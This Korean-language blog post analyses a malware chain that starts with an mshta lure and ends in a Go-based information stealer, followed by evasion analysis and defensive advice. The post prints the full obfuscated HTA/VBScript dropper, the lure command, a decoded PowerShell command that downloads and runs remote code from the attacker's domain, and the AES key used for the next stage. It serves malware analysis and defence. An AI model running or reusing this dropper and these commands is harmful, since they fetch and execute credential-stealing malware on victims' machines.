서론
최근 사이버 공격은 점점 더 정교해지고 있으며, 공격자들은 탐지를 회피하기 위해 다양한 기술을 조합하여 사용합니다. 특히, 운영체제에 기본적으로 내장된 합법적인 도구를 악용하는 Living off the Land (LotL) 기법은 보안 솔루션의 탐지를 어렵게 만듭니다. 본 포스팅에서는 mshta 명령어를 시작으로, 난독화된 스크립트와 암호화된 페이로드를 거쳐 최종적으로 Go 언어 기반의 정보 탈취형 악성코드(InfoStealer)가 실행되는 다단계 공격 체인을 심층적으로 분석합니다. 이 분석은 악성코드의 작동 방식과 방어 전략을 이해하는 데 중요한 통찰력을 제공할 것입니다.
1. 1단계: 초기 진입점 - mshta.exe 및 playlist.m3u8
공격은 사용자에게 다음과 같은 mshta 명령어를 실행하도록 유도하는 것으로 시작됩니다.
mshta http://185.0xC1.0x59.0x9E/playlist.m3u8
이 한 줄의 명령어에는 공격자의 교묘한 전략이 숨어 있습니다.
1.1 IP 주소 난독화
185.0xC1.0x59.0x9E는 10진수와 16진수가 혼합된 형태로, 실제 IP 주소를 숨기기 위한 난독화 기법입니다. 이를 해독하면 185.193.89.158이라는 IP 주소가 드러납니다. 이 IP는 주로 러시아 기반의 호스팅 서비스와 연관되어 있으며, 악성코드 유포에 자주 사용되는 것으로 알려져 있습니다.
1.2 확장자 위장 (.m3u8)
.m3u8은 일반적으로 멀티미디어 재생목록 파일의 확장자입니다. 공격자는 이 확장자를 사용하여 네트워크 트래픽 모니터링 시 악성 파일이 아닌 정상적인 미디어 스트리밍으로 위장하려 합니다. 그러나 mshta.exe는 파일 확장자에 관계없이 다운로드된 콘텐츠의 내부 구조를 HTML Application (HTA)으로 해석하여 실행합니다.
1.3 playlist.m3u8의 실제 코드 (HTA/VBScript)
mshta가 http://185.193.89.158/playlist.m3u8에서 다운로드하는 파일의 실제 내용은 다음과 같은 난독화된 VBScript를 포함한 HTA 코드입니다. 주요 키워드는 16진수로 난독화되어 있습니다.
<html>
<head>
<script language="VBScript">
Function Unhex_PMqR(h)
Dim s, i
For i = 1 To Len(h) Step 2
s = s & Chr(CByte("&H" & Mid(h, i, 2)))
Next
Unhex_PMqR = s
End Function
Sub Window_OnLoad()
On Error Resume Next
Self.ResizeTo 0, 0 ' 창 크기를 0으로 만들어 숨김
Self.MoveTo -2000, -2000 ' 화면 밖으로 창을 이동시킴
Dim o
' Shell.Application 객체 생성 (난독화됨)
Set o = CreateObject(Unhex_PMqR("5368656c6c2e4170706c69636174696f6e"))
' PowerShell 실행 (난독화된 인자 전달)
o.ShellExecute Unhex_PMqR("706f7765727368656c6c2e657865"), Unhex_PMqR("2d4e6f50202d572048696464656e202d656e632061514233414849414941416e41476741644142304148414163774136414338414c77426d414855416267427241486b4165674270414841414c67427441486b414c77427a4147674162774231414851414a774167414330415651427a414755415167426841484d416151426a414641415951427941484d41615142754147634149414238414341416151426141486741"), "", "open", 0
WScript.Sleep 1000
Self.Close()
End Sub
</script>
<hta:application windowstate="minimize" showintaskbar="no" />
</head>
</html>
해독된 VBScript 동작:
Self.ResizeTo 0, 0및Self.MoveTo -2000, -2000: HTA 창을 화면 밖으로 이동시켜 사용자에게 보이지 않게 합니다. 이는 사용자 인지 회피를 위한 전형적인 기법입니다.CreateObject(Unhex_PMqR("5368656c6c2e4170706c69636174696f6e")): 16진수5368656c6c2e4170706c69636174696f6e를 해독하면Shell.Application이 됩니다. 즉,Shell.Application객체를 생성하여 시스템 명령을 실행할 준비를 합니다.o.ShellExecute Unhex_PMqR("706f7765727368656c6c2e657865"), Unhex_PMqR("...Hex Payload..."), "", "open", 0: 16진수706f7765727368656c6c2e657865를 해독하면powershell.exe가 됩니다. 즉,powershell.exe를 실행하며, 두 번째 인자로 Base64 인코딩된 PowerShell 명령을 전달합니다. 마지막0은 창을 숨김 모드로 실행하라는 의미입니다.
최종 실행 PowerShell 명령 (Base64 디코딩 후):
iwr 'https://funkyzip.my/shout' -UseBasicParsing | iZx
iwr(Invoke-WebRequest):https://funkyzip.my/shout에서 2차 페이로드를 다운로드합니다.iZx(Invoke-Expression의 난독화된 형태): 다운로드된 내용을 메모리에서 즉시 실행합니다. 이는 파일리스(Fileless) 공격의 핵심으로, 디스크에 악성 파일을 남기지 않아 탐지를 어렵게 합니다.
2. 2단계: 암호화된 PowerShell 스크립트 - shout 파일
https://funkyzip.my/shout에서 다운로드되는 파일은 확장자가 없는 shout이라는 이름의 파일입니다. 이 파일은 실제로는 약 1.2MB 크기의 PowerShell 스크립트이며, 내부에 AES로 암호화된 최종 페이로드를 포함하고 있습니다.
2.1 shout 파일의 핵심 코드 (발췌)
shout 파일에서 추출된 주요 부분은 다음과 같습니다. 이 스크립트는 $key, $iv, $enc 변수를 정의하고, 이를 사용하여 $enc에 담긴 Base64 인코딩된 암호화 데이터를 복호화합니다.
function Invoke-VSLayoutProcess {
try { Process-EmbeddedPackage } catch {}
}
function Process-EmbeddedPackage {
try { $m__18b5fxjzih = [Math]::Sqrt(47.05) } catch {}
$key = [Convert]::FromBase64String("Sr+cq6fbugS2ej+qU+wMBsji7uh1kQe7rgloVor/zoA=")
$iv = [Convert]::FromBase64String("XPe+ju+5C2HMTQZamLWZ7g==")
$enc = [Convert]::FromBase64String("/2QkpBV4yo6bKcsBfAVZI2IKeU191GoDs0zqqXg6IXb4pwPqKGT35CPJbQ45CsUlFhsHEDGpZnqOoo6Tm8CsqUcJhDga3vuMvn0hXMswEQhDBpx+enzdJdO...") # 실제로는 매우 긴 Base64 문자열
# ... (이후 AES 복호화 및 실행 로직 포함)
# 복호화된 데이터는 ZIP 파일이며, 이를 메모리에서 압축 해제하여 bildetskiy.exe를 실행합니다.
}
# 스크립트 실행 트리거
Invoke-VSLayoutProcess
2.2 암호화 및 복호화 메커니즘
- 암호화 알고리즘: AES-256-CBC
- Key (Base64):
Sr+cq6fbugS2ej+qU+wMBsji7uh1kQe7rgloVor/zoA=(32바이트) - IV (Base64):
XPe+ju+5C2HMTQZamLWZ7g==(16바이트) - 암호화된 데이터:
$enc변수에 저장된 매우 긴 Base64 문자열. 이 문자열을 디코딩하고 Key와 IV를 사용하여 AES 복호화를 수행하면 최종 페이로드인 ZIP 파일이 얻어집니다.
이 단계는 다단계 난독화의 전형적인 예시로, 악성코드 분석가가 스크립트의 실제 내용을 파악하기 어렵게 만듭니다. 또한, 복호화된 데이터가 디스크에 저장되지 않고 메모리에서 직접 처리될 경우 파일리스 공격의 효과를 극대화합니다.
3. 3단계: 최종 페이로드 - bildetskiy.exe (Go 기반 인포스틸러)
shout 스크립트가 복호화한 데이터는 ZIP 파일이며, 이 안에는 bildetskiy.exe라는 실행 파일이 들어 있습니다. 이 파일은 공격의 최종 목표인 정보 탈취를 수행하는 악성코드입니다.
3.1 bildetskiy.exe 파일 정보
- 파일 유형: PE32 executable (GUI) Intel 80386, for MS Windows
- 파일 크기: 약 1.9MB
- 개발 언어: Go (Golang)
- 파일명 의미:
bildetskiy는 주로 우크라이나나 러시아 계통의 성씨로, 공격자가 특정 대상을 지칭하거나 자신의 닉네임을 사용했을 가능성이 있습니다.
3.2 bildetskiy.exe 역컴파일 및 분석 방법
Go 언어로 컴파일된 바이너리는 일반적인 C/C++ 바이너리와는 다른 구조를 가집니다. 역컴파일 및 분석을 위해서는 다음과 같은 도구와 접근 방식이 권장됩니다.
- IDA Pro / Ghidra:
- 이러한 상용/오픈소스 역어셈블러는 Go 바이너리 분석을 위한 플러그인이나 스크립트를 제공합니다. 특히 Go 런타임 함수를 식별하고, 함수 이름 및 데이터 구조를 복원하는 데 도움을 줍니다.
- GoLand (Ghidra Go Loader): Ghidra 사용 시 Go 바이너리 분석을 위한 스크립트를 활용하면 Go 런타임 함수, 심볼, 타입 정보를 더 잘 파싱할 수 있습니다.
- GoReSym:
- Go 바이너리에서 심볼을 추출하고 복원하는 데 특화된 도구입니다. 난독화되지 않은 Go 바이너리의 경우 함수 이름, 변수 이름 등을 복원하여 분석에 큰 도움을 줍니다.
- Strings 유틸리티:
strings명령어를 사용하여 실행 파일 내의 인쇄 가능한 문자열을 추출합니다. 이를 통해 C2 서버 주소, 파일 경로, API 호출 문자열 등 악성코드의 기능을 유추할 수 있습니다.- 예시:
strings extracted_shout/bildetskiy.exe | grep -iE "http|https|www|\.com|\.net|\.org|\.ru|\.php|\.exe|\.dll"
- 동적 분석 (Dynamic Analysis):
- 샌드박스 환경(예: Any.Run, Joe Sandbox)에서
bildetskiy.exe를 실행하여 파일 시스템 변경, 레지스트리 변경, 네트워크 통신(C2 서버 연결), 프로세스 생성 등의 행위를 관찰합니다. 이를 통해 악성코드의 실제 동작을 파악할 수 있습니다.
- 샌드박스 환경(예: Any.Run, Joe Sandbox)에서
3.3 bildetskiy.exe의 주요 기능 (문자열 분석 기반)
bildetskiy.exe의 문자열 분석 결과, 다음과 같은 특징적인 문자열들이 발견되었습니다. 이는 정보 탈취 및 C2 통신 기능을 강력하게 시사합니다.
- 네트워크 관련:
http,https,www,.com,.net,.org,.ru,.php등 C2 서버와의 통신에 사용될 수 있는 URL 및 도메인 관련 문자열. - Windows API 호출:
CryptReleaseContext,GetTokenInformation,VirtualAlloc,CreateFileW,DeleteFileW,GetAddrInfoW,WSARecvFrom,closesocket,kernel32.dll,advapi32.dll,ws2_32.dll등 시스템 정보 획득, 파일 조작, 네트워크 통신에 사용되는 API 함수 이름. - Go 런타임 관련: Go 언어 바이너리에서 흔히 발견되는 런타임 관련 문자열 (예:
runtime.main,sync.WaitGroup,internal/runtime/atomic).
이러한 문자열들을 종합해 볼 때, bildetskiy.exe는 브라우저 정보(쿠키, 비밀번호), 가상화폐 지갑, 시스템 정보 등을 탈취하여 원격 C2 서버로 전송하는 인포스틸러로 판단됩니다.
4. 왜 백신에 잘 안 걸리는가? (AV Evasion 원리)
이러한 다단계 공격 체인이 기존 백신 솔루션의 탐지를 우회하기 쉬운 이유는 여러 가지 기술적 요인 때문입니다.
- Living off the Land (LotL) 기법:
mshta.exe,powershell.exe와 같은 Windows의 합법적인 기본 도구를 사용합니다. 백신은 이러한 정상 도구의 실행 자체를 차단하기 어렵기 때문에, 비정상적인 사용 패턴을 휴리스틱하게 탐지해야 합니다. 하지만 공격자는 이러한 패턴을 우회하기 위해 난독화 및 다단계 실행을 사용합니다.
- 파일리스(Fileless) 공격:
playlist.m3u8스크립트와shout스크립트는 대부분 메모리 상에서 직접 실행되며, 디스크에 악성 파일을 남기지 않습니다. 이는 파일 기반 시그니처 탐지를 무력화하고, 포렌식 분석을 어렵게 만듭니다.
- 다단계 난독화 (Multi-stage Obfuscation):
- IP 난독화:
185.0xC1.0x59.0x9E와 같이 IP 주소를 10진수와 16진수를 섞어 표현하여 단순 IP 블랙리스트를 우회합니다. - Base64 인코딩: PowerShell 명령어를 Base64로 인코딩하여 문자열 기반의 시그니처 탐지를 회피합니다.
- Hex 인코딩: VBScript 내에서
Shell.Application과 같은 중요한 문자열을 16진수로 인코딩하여 숨깁니다. - 함수/변수 난독화:
iwr대신iZx,Unhex_PMqR과 같은 변형된 함수명이나 의미 없는 변수명을 사용하여 코드의 가독성을 떨어뜨리고 분석을 방해합니다.
- IP 난독화:
- Go 언어 기반 악성코드의 특성:
- 정적 컴파일: Go 바이너리는 모든 라이브러리와 런타임을 자체적으로 포함하여 파일 크기가 커지고, 이는 기존 백신이 학습한 악성코드 패턴과 다르게 보일 수 있습니다.
- 독특한 런타임 구조: Go 런타임은 C/C++ 런타임과 매우 다르기 때문에, 기존 백신 엔진이 Go 바이너리의 내부 구조를 효과적으로 파싱하고 분석하는 데 어려움을 겪을 수 있습니다. 이는 시그니처 생성 및 휴리스틱 분석의 정확도를 떨어뜨립니다.
- 낮은 시그니처: Go 언어 기반 악성코드가 상대적으로 적고, 그 구조가 다양하여 일반적인 시그니처 기반 탐지로는 새로운 변종을 놓치기 쉽습니다.
- C2 서버의 유동성 및 위장:
funkyzip.my와 같은 도메인은 빠르게 변경되거나, CDN(Content Delivery Network) 뒤에 숨겨져 실제 C2 서버를 추적하기 어렵게 만듭니다.
이러한 복합적인 기술적 요인들이 결합되어, 공격자들은 백신 솔루션의 탐지를 효과적으로 우회하고 시스템에 침투할 수 있게 됩니다.
5. 방어 및 완화 전략
이러한 유형의 다단계 LotL 공격에 대응하기 위해서는 다층적인 보안 전략이 필수적입니다.
- 엔드포인트 보안 강화:
- EDR (Endpoint Detection and Response) 솔루션:
mshta.exe나powershell.exe와 같은 합법적인 도구의 비정상적인 동작(예: 네트워크 연결, 자식 프로세스 생성)을 탐지하고 차단합니다. - 안티바이러스/안티멀웨어: 최신 위협 인텔리전스를 기반으로 Go 기반 악성코드를 포함한 다양한 악성코드를 탐지하도록 업데이트를 유지합니다.
- EDR (Endpoint Detection and Response) 솔루션:
- 애플리케이션 제어:
- AppLocker 또는 Windows Defender Application Control (WDAC):
mshta.exe,powershell.exe등 공격에 악용될 수 있는 도구의 실행을 제한하거나, 특정 조건에서만 허용하도록 정책을 설정합니다.
- AppLocker 또는 Windows Defender Application Control (WDAC):
- 네트워크 보안:
- 방화벽/IPS/IDS: 악성 IP 주소(
185.193.89.158,funkyzip.my등) 및 C2 통신 패턴을 탐지하고 차단합니다. - 웹 필터링: 악성 웹사이트 및 의심스러운 도메인에 대한 접근을 차단합니다.
- 방화벽/IPS/IDS: 악성 IP 주소(
- 사용자 교육:
- 피싱 이메일, 악성 광고 등 초기 침투 벡터에 대한 사용자 인식을 높이고, 의심스러운 링크나 파일을 클릭하지 않도록 교육합니다.
- 출처를 알 수 없는 명령어를 실행하지 않도록 경고합니다.
- 시스템 및 소프트웨어 업데이트:
- 운영체제 및 모든 소프트웨어를 최신 상태로 유지하여 알려진 취약점을 패치합니다.
- 데이터 백업 및 복구 계획:
- 중요 데이터를 정기적으로 백업하고, 유사시 신속하게 복구할 수 있는 계획을 수립합니다.
결론
mshta를 시작으로 Go 기반 인포스틸러까지 이어지는 이 공격 체인은 현대 악성코드의 주요 특징인 LotL, 파일리스, 다단계 난독화, 그리고 새로운 프로그래밍 언어(Go)의 활용을 모두 보여줍니다. 이러한 위협에 효과적으로 대응하기 위해서는 기술적인 방어뿐만 아니라 사용자 인식 개선, 그리고 지속적인 위협 인텔리전스 분석이 필수적입니다. 항상 경계를 늦추지 않고 최신 보안 동향에 주의를 기울여야 합니다.
참고 자료
- MITRE ATT&CK - T1218.005: System Binary Proxy Execution: Mshta
- McAfee - What Is Mshta, How Can It Be Used and How to Protect Against It?
- Medium - Inside a Fake CAPTCHA Phishing Attack: How Attackers Use mshta.exe and PowerShell to Deliver XWorm
- GoReSym GitHub Repository
- Ghidra Official Website
- IDA Pro Official Website